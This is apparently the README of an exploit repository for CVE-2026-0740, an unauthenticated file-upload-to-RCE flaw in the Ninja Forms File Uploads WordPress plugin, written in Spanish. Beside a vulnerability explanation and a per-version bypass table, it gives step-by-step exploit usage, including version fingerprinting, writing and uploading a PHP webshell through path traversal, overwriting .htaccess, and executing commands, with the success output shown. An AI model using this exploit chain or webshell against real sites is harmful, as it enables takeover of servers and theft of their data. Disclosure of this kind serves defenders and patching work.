
Ninja Forms File Uploads <= 3.3.26 - Carga de archivos arbitraria no autenticada a RCE (CVE-2026-0740)
Exploit para CVE-2026-0740 descubierta por Selim Lanouar (whattheslime).
Para una inmersión técnica completa, lea el artículo completo en el blog de Lexfo.
Este repositorio se proporciona únicamente con fines de investigación y seguridad defensiva.
El autor no asume ninguna responsabilidad por el mal uso de esta información.
El plugin Ninja Forms - File Uploads para WordPress es vulnerable a Subida de archivos arbitraria no autenticada que conduce a Ejecución remota de código en todas las versiones hasta la 3.3.26 inclusive.
La vulnerabilidad fue descubierta e informada originalmente en la versión 3.3.23. La explotación es sencilla hasta la versión 3.3.24 (sin validación en el nombre de archivo de destino). Las versiones 3.3.25 y 3.3.26 introdujeron parches parciales sucesivos, pero el problema se resuelve por completo solo en la versión 3.3.27.
La cadena de vulnerabilidad es la siguiente:
nf_fu_get_new_nonce con un field_id arbitrario.nf_fu_upload valida la extensión del archivo cargado (por ejemplo, image.jpg), pero permite al cliente sobrescribir el nombre de archivo de destino mediante un parámetro POST (image_jpg).move_uploaded_file() sin una sanitización adecuada, lo que permite extensiones arbitrarias y path traversal (../).| Vector / Extensión | <= 3.3.24 | 3.3.25 | 3.3.26 | 3.3.27 |
|---|---|---|---|---|
Path traversal (../) | PASS | - | - | - |
.php | PASS | - | - | - |
.phtml, .phar | PASS | PASS | - | - |
.pht | PASS | PASS | PASS | - |
.html, .svg, .js | PASS | PASS | PASS | - |
Consulte la publicación completa del blog para obtener la tabla de extensiones completa y la inmersión técnica.
python3 -m venv .venv
.venv/bin/pip install -r requirements.txt
.venv/bin/python3 CVE-2026-0740.py -h
python3 CVE-2026-0740.py -t http://localhost:8000 -f test.txt
El archivo se escribirá en wp-content/uploads/ninja-forms/tmp/test.txt.
python3 CVE-2026-0740.py -t http://localhost:8000 -f webshell.php -d ../../../webshell.php
El archivo se escribirá en wp-content/webshell.php.
python3 CVE-2026-0740.py -t http://localhost:8000 -f evil-htaccess -d .htaccess
# 1. Detect version
httpx -fr -u http://localhost:8000 -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+' 2>/dev/null
http://localhost:8000 [nfpluginsettings.js?ver=3.3.24]
# 2. Write webshell
echo '<?php system($_GET["cmd"]); ?>' > /tmp/slime.php
# 3. Upload
python3 CVE-2026-0740.py -t http://localhost:8000 -f /tmp/slime.php -d ../ws.php
[2026-04-07] [20:20:11] [info] [http://localhost:8000] Fetch nonce for random field_id: 3711569793384815...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] Got ninja-forms-upload nonce: a320b7ed4a
[2026-04-07] [20:20:12] [info] [http://localhost:8000] Uploading slime.php as ../ws.php via POST parameter...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] File uploaded at: http://localhost:8000/wp-content/uploads/ninja-forms/ws.php
# 4. Execute commands
curl http://localhost:8000/wp-content/uploads/ninja-forms/ws.php\?cmd\=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)